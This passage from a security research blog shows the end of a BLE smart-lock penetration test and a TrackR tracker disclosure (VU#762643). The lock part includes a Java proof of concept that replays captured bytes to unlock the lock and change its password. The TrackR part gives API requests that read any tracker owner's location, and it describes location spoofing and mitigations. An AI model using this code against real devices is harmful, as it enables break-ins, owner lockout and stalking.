21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>It is now clear to us, that only 4 bytes are required to open the lock.</p><h3>The Penetration Test</h3><h4>BLE Encryption &amp; Authentication: Critical Severity</h4><p>The android application does not apply any encryption method the BLE protocol supports, and no application-layer encryption is applied either.</p><h4>Authentication</h4><p>We have observed, that an authentication method is applied. This is not enough though, as anyone acting as MTIM may intercept the password message and unlock the lock, which is pretty much game over. Therefore, the smart lock is vulnerable to MiTM and sniffing attacks. We have not managed to bypass authentication though.</p><h3>Replay Attacks: Critical Severity</h3><p><strong>Unauthorized Unlock of device - Critical</strong></p><p>Since we now know which message triggers each action, the next step is to replay some of those messages, and in some cases modify them, to determine whether the receiving device accepts the replayed data. This testing will be carried out against both the Android application and the smart lock. As before, this can be done through the BLE:Bit Controller by swiping a message left or right. A dialog box will then appear asking whether we want to modify the data. At this stage, we will not make any changes.</p><p>To make the scenario more realistic, we will connect to the smart lock without the vendor&#8217;s Android application running. For this to work, the required data must already be stored in a database. This is handled by the BLE:Bit Controller application through its proxy configuration page.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!G6GS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!G6GS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png 424w, https://substackcdn.com/image/fetch/$s_!G6GS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png 848w, https://substackcdn.com/image/fetch/$s_!G6GS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!G6GS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!G6GS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png" width="304" height="540.4444444444445" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:576,&quot;resizeWidth&quot;:304,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!G6GS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png 424w, https://substackcdn.com/image/fetch/$s_!G6GS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png 848w, https://substackcdn.com/image/fetch/$s_!G6GS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!G6GS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866924e5-7751-487c-8628-58b455ff0c1b_576x1024.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Performing Replay Attack with only Smart Lock being connected</figcaption></figure></div><p>As shown, we authenticated by reusing the same authentication message captured earlier and then unlocked the smart device with the same open lock message. The lock opened successfully.</p><p>This demonstrates that the Android application does not establish secure communication with the target device. As a result, sensitive information transmitted between the application and the lock is not properly protected, which compromises confidentiality.</p><h3>Unlock Automatically</h3><p>The lock&#8217;s implementation does not establish secure communication, which makes packet replay attacks possible. This raises an important question: how can an attacker change the password in a way that denies access to the legitimate user, while also preventing that user from resetting it?</p><p>By default, the smart lock does not support password reset. As a result, if an unauthorized party changes the password, the legitimate user can be permanently locked out.</p><p>To verify this behavior, we followed the same process described in the earlier replay attack. First, we performed the password change through the Android application. We then replayed the captured data to confirm that the password could be modified by an unauthorized actor. Because no encryption is used, anyone who knows the password can also change it. While this behavior is consistent with the current design and is not, by itself, a separate security issue, we include the method here to complete the assessment.</p><p>We also developed a small proof of concept using BLE:Bit SDK version 1.7. The code automatically discovers the lock and unlocks it as soon as it is detected.</p><p>This is relatively simple to implement with the BLE:Bit SDK, since the required functionality is readily available.</p><p>The first step is to create a Central Callback object.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">CEBLEDeviceCallbackHandler devCallback = new CEBLEDeviceCallbackHandler();</code></pre></div><p>Then, the Central is created and configured:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">ce = new CEController(startComm(prolific_ftdi), devCallback);
ce.sendConnectionParameters(9, 13, 0, 1000,  /*Scan*/ 500/*Interval*/, 400/*Window*/, 0/*Timeout*/, /*Connection*/  50, 40, 0xffff, false);
ce.sendBluetoothDeviceAddress("ff:55:ee:fe:4a:af", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);
ce.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
ce.eraseBonds();
ce.finishSetup();</code></pre></div><p>The following line will initiate the CE and start listening for the (any) target:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">ce.connectNow(target, AddressType.PUBLIC_ADDR);</code></pre></div><p>Finally, the code below can be used to communicate by using the custom protocol, authenticate, unlock the lock and then alter the existing password:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">byte [] auth = new byte[] {0x55, 0x41, 0x01, 0x02, (byte)0x03, 0x00};
checksum(auth);
byte [] open = new byte[] {0x55, 0x10, 0x01, 0x00};
checksum(open);
byte [] passmode = new byte[] {0x55, 0x60, 0x00}; 
checksum(passmode);
byte [] setpassword = new byte[] {0x55, 0x40, 0x02, 0x61, (byte)0xfc, 0}; 
checksum(setpassword);
// Authenticate and open lock
ce.writeData(auth, 0, auth.length, (short)41);
ce.writeData(open, 0, open.length, (short)41);
// Enter Password-change mode and alter password
ce.writeData(passmode, 0, passmode.length, (short)41);
ce.writeData(setpassword, 0, setpassword.length, (short)41);

ce.disconnect(19);
ce.terminate();</code></pre></div><p>Compiling and running the Java code above allows an enabled smart lock to be unlocked and its password changed in just a few milliseconds.</p><p>It is also important to note that this is not the limit of what can be done. For instance, the battery level displayed in the Android application could also be modified. Because the message is transmitted through our BLE:Bit Controller, changing the battery indicator shown in the vendor&#8217;s app is straightforward. In this case, the same methods can be used, since they are essentially the same as the techniques already described.</p>]]></content:encoded></item><item><title><![CDATA[TrackR Tag - User’s True Coordinates Exposed (VU#762643)]]></title><description><![CDATA[TrackR Tag - affects user privacy by exposing the user&#8217;s real geo-location.]]></description><link>https://blog.cybervelia.com/p/trackr-tag-users-true-coordinates</link><guid isPermaLink="false">https://blog.cybervelia.com/p/trackr-tag-users-true-coordinates</guid><pubDate>Mon, 06 Apr 2026 13:52:32 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!bOl9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>The TrackR Pixel Tracker</strong></p><p>The TrackR Pixel is one of the tracking devices produced by TrackR, and for the purpose of this post, you can assume that all TrackR devices follow a similar design and behavior.</p><p>Here is how the TrackR Pixel looks-like:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bOl9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bOl9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp 424w, https://substackcdn.com/image/fetch/$s_!bOl9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp 848w, https://substackcdn.com/image/fetch/$s_!bOl9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp 1272w, https://substackcdn.com/image/fetch/$s_!bOl9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bOl9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp" width="720" height="720" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ae256d78-f799-4365-9949-66859a36a4a0_720x720.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:720,&quot;width&quot;:720,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:9876,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/webp&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/193240021?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bOl9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp 424w, https://substackcdn.com/image/fetch/$s_!bOl9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp 848w, https://substackcdn.com/image/fetch/$s_!bOl9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp 1272w, https://substackcdn.com/image/fetch/$s_!bOl9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae256d78-f799-4365-9949-66859a36a4a0_720x720.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This small tracker can remain powered for up to one year using the tiny battery that comes with it. The tracker pairs with the TrackR mobile application on Android, and the pairing process involves no authentication at all. The device advertises itself with the Bluetooth name &#8220;tkr&#8221;, and the Android app detects the tracker when the user presses the center of the device, which triggers its internal button. After that, the app pairs the tracker with the phone.</p><p>Before pairing the tracker, the user must create an account, so registration is required. This is where our analysis begins.</p><h2><strong>The Sweet Spot</strong></h2><p>One of the core functions of the TrackR mobile application is to help users locate their tracker when it is lost. This process works through a community-based system. While users are searching for their own trackers, the application also scans for any TrackR devices in range. When another tracker is detected, the application silently reports the tracker&#8217;s presence and the phone&#8217;s current coordinates to the server. This means every user is unknowingly helping others find their lost trackers.</p><p>Each tracker has a unique tracking ID. This ID is created by taking &#8220;0000&#8221; and appending the reversed hexadecimal representation of the tracker&#8217;s Bluetooth address. By using a web proxy, I examined the API calls and experimented with them. I discovered that anyone could track any TrackR device without any form of authorization. The only requirement was the Bluetooth device address of the tracker.</p><p>Because the tracker broadcasts its presence every few seconds when it is not connected to a phone, its Bluetooth address is publicly visible. Once the BDADDR is known, it can be used to track the user&#8217;s location.</p><h2>Private Information Exposed</h2><p>Users who own a TrackR device, such as the TrackR Pixel, often attach it to important personal items like their keys. Since people usually keep their keys near their mobile phone, the mobile device constantly knows the location of the tracker and regularly reports this information to the server.</p><p>If the user leaves their mobile phone in another place, for example at home, other users become the ones reporting the tracker&#8217;s location. This is not considered a bug. It is part of the intended design. TrackR uses a community-based tracking feature in which every TrackR user helps other owners locate missing or stolen items. The TrackR mobile application runs quietly in the background as a service, so the user does not need to open it for the reporting to occur.</p><p>The important point is that it does not matter whether the owner carries their phone with them or not. Other nearby users, without realizing it, will provide the tracker&#8217;s coordinates to the server. Due to the vulnerability described in this article, this system unintentionally exposes private information, because the server will reveal a user&#8217;s physical location to an attacker who knows the tracker&#8217;s Bluetooth address.</p><h3>Spear Phishing and Specific Targets</h3><p>Moreover, this tracker could be abused through social engineering techniques. For example, an attacker could give a tracker as a free gift and continue monitoring its location by using the tracking ID, which they would have recorded before handing the device to the victim. TrackR does not enforce any restriction that prevents multiple users from attaching the same tracker to their accounts. Although this scenario requires preparation, it becomes more realistic when the device is given or sold as a second-hand product.</p><h3>Tracking Anyone and Everyone</h3><p>By sending crafted HTTPS POST and GET requests to the vulnerable TrackR API, an authenticated attacker could retrieve sensitive information, such as the coordinates of users who own or carry the tracker. The only requirement is the tracker ID. Since the tracker ID is simply the reversed MAC address of the device, it can be obtained by anyone scanning for nearby Bluetooth devices, even with a regular Android phone.</p><p>When creating a tracker ID or attaching to an existing tracker ID, the application communicates with the server using a specific endpoint through a POST request.</p><p>To Create the Tracker ID or to attach to Tracker ID (if already created), the following URL is used (<strong>POST</strong>):</p><p><a href="https://platform.thetrackr.com/rest/item?usertoken=">https://platform.thetrackr.com/rest/item?usertoken=</a>&#8230;</p><pre><code>payload = &#8216;{&#8221;customName&#8221;:&#8221;tracker_for_my_keys&#8221;,&#8221;type&#8221;:&#8221;Bluetooth&#8221;,&#8221;trackerId&#8221;:&#8221;00XXXX-XXXXXXXX&#8221;,&#8221;icon&#8221;:&#8221;trackr&#8221;,&#8221;timeElapsedSync&#8221;:304}&#8217;
&#9;r = requests.post(&#8221;https://platform.thetrackr.com/rest/item?usertoken=&#8221; + userToken, headers = headers, data = payload)</code></pre><p>To fetch all own devices (including the just-attached new device) &#8212; (<strong>GET</strong>):</p><p><a href="https://platform.thetrackr.com/rest/item?usertoken=">https://platform.thetrackr.com/rest/item?usertoken=</a>&#8230;</p><pre><code>r = requests.get(&#8221;https://platform.thetrackr.com/rest/item?usertoken=&#8221; + userToken, headers = headers_get)
&#9;data = json.loads(r.text)</code></pre><p><strong>Note</strong>: The token is generated at the login procedure and returned by the server.</p><p>GET /rest/user?email=yourmail%40domain.com&amp;password=yourpass HTTP/1.1</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_MT8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_MT8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp 424w, https://substackcdn.com/image/fetch/$s_!_MT8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp 848w, https://substackcdn.com/image/fetch/$s_!_MT8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp 1272w, https://substackcdn.com/image/fetch/$s_!_MT8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_MT8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp" width="378" height="587" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:587,&quot;width&quot;:378,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22354,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/webp&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/193240021?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_MT8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp 424w, https://substackcdn.com/image/fetch/$s_!_MT8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp 848w, https://substackcdn.com/image/fetch/$s_!_MT8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp 1272w, https://substackcdn.com/image/fetch/$s_!_MT8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a063278-d8ee-4e89-bb7c-6b803a9bf319_378x587.webp 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>PoC</strong></p><p>Please note the Coordinates were altered - Also without auth.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">def pushDevice(trackerId): # will always return of Not Found if not created before by the user
    payload = '{"customName":"'+pickAName()+'","type":"Bluetooth","trackerId":"'+trackerId+'","icon":"trackr","lost":false,"timeElapsedSync":'+str(random.randint(100,1000))+'}'
    url = "https://platform.thetrackr.com/rest/item/"+trackerId+"?usertoken=" + userToken</code></pre></div><p>To be more thorough about the kind of information that the server is able to retrieve, the following information is presented:</p><ul><li><p>LastUpdated: So the attacker knows how fresh data is</p></li><li><p>Custom name: This is replaced by our custom name when we create/attach to the Tracker ID so it doesn&#8217;t make any sense for us</p></li><li><p>Last Known Location: The coordinates and how accurate these are (very accurate if you ask me)</p></li><li><p>Seen By Type: Who reported the last update (crowd or user)</p></li><li><p>Lost: If reported as lost</p></li><li><p>Battery Level: The level of tracker&#8217;s battery in percentage</p></li><li><p>Type: Bluetooth &#8212; I am not aware of all products of TrackR, but it seems most trackers are developed by using BLE technology</p></li></ul><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">[
    {
        "lastKnownLocation": {
            "latitude": 30.123455, 
            "lastSeenBy": {
                "seenByType": "CROWD_LOCATE_USER", 
                "name": ""
            }, 
            "longitude": 30.112232, 
            "accuracy": 16
        }, 
        "ownershipOrder": 0, 
        "lastUpdated": 1581871440781, 
        "lost": false, 
        "lastTimeSeenDiff": 33670, 
        "customName": "mynew", 
        "ownersEmail": "MYMAILXXXX@gmail.com", 
        "timeUpdatedDiff": 685496, 
        "id": 5894866519982080, 
        "trackerId": "00005150-52d48gee", 
        "groupItem": false, 
        "batteryOrderUrl": "https://store.thetrackr.com/battery-replenishment-program?trackerId=9cac263f593abfb2&amp;discount=BRP&amp;token=d8005225b33088cf", 
        "batteryLevel": 5, 
        "type": "Bluetooth", 
        "lastKnownPlaces": [], 
        "lastTimeSeen": "Sun Feb 16 16:54:52 UTC 2020", 
        "icon": "trackr"
    }
]</code></pre></div><h2><strong>Private Information Exposure Mitigation</strong></h2><p>Mitigating this type of privacy issue is not simple, because it requires changes in both software and hardware design. The core problem is that the tracker does not use any authentication mechanism during pairing. To address this, the tracker should implement a passkey or PIN-based authentication method, and the PIN should be provided on a physical label. This ensures that only the legitimate owner can pair, configure, or modify the tracker.</p><p>The Tracker ID should also be redesigned. Instead of using the reversed Bluetooth address, the Tracker ID should be a random value, at least ten bytes in size, and ideally sixteen bytes. This identifier should only be accessible to an authenticated user, and the user must know the passkey or PIN to retrieve it. With this approach, the low-power design of the device remains intact, while significantly improving its security.</p><p>If TrackR wants to continue supporting second-hand sales, it should allow the Tracker ID to be regenerated when the authenticated owner chooses to reset the device. This would prevent previous owners from tracking the device after transferring it to someone else.</p><h2><strong>Access to Unauthenticated Alarm Characteristic</strong></h2><p>The tracker does not implement any authorization mechanism, which means that anyone within Bluetooth range, typically around ten meters, can connect to the device and trigger its beeper. Because no security checks are in place, a malicious user could activate the alarm at any time. This type of action does not require sophisticated tools. It can be done with common Bluetooth applications available to the public, and it is simple enough that someone could create their own app in minutes.</p><p>The &#8220;beep&#8221; function corresponds to a standard Bluetooth SIG characteristic, and the values required to trigger the alarm are defined in the specification. The vendor implemented this characteristic correctly from a functional perspective, but without authorization, the device remains vulnerable.</p><p>To improve security, the tracker must enforce an authentication step before allowing access to its alarm characteristic. This would ensure that only the legitimate owner can trigger the beeper and interact with sensitive functionality.</p><h2>Target Location Spoofing</h2><p>The best part is when anybody, any non-registered user, can alter the current location of any tracker device, at any time.</p><p>It is found that the only thing that is needed to alter any tracker&#8217;s Coordinates is a single HTTPS PUT Request to a hashed-like path. I guess this is security through obscurity. The &#8220;secret&#8221; URL allows the submission of information by using unauthenticated access and should be avoided in the year 2020.</p><h2>Location Spoofing Mitigation</h2><p>Mitigating location spoofing is also challenging, because any user with the application is currently allowed to submit coordinates and a list of nearby tracker IDs. Under the existing design, the server cannot reliably distinguish a legitimate request from an illegitimate one.</p><p>The vendor should adopt the recommended mitigations described earlier. With proper authentication and a securely generated random Tracker ID, the server would know which devices belong to genuine owners. It would also recognize the correct random identifier associated with each 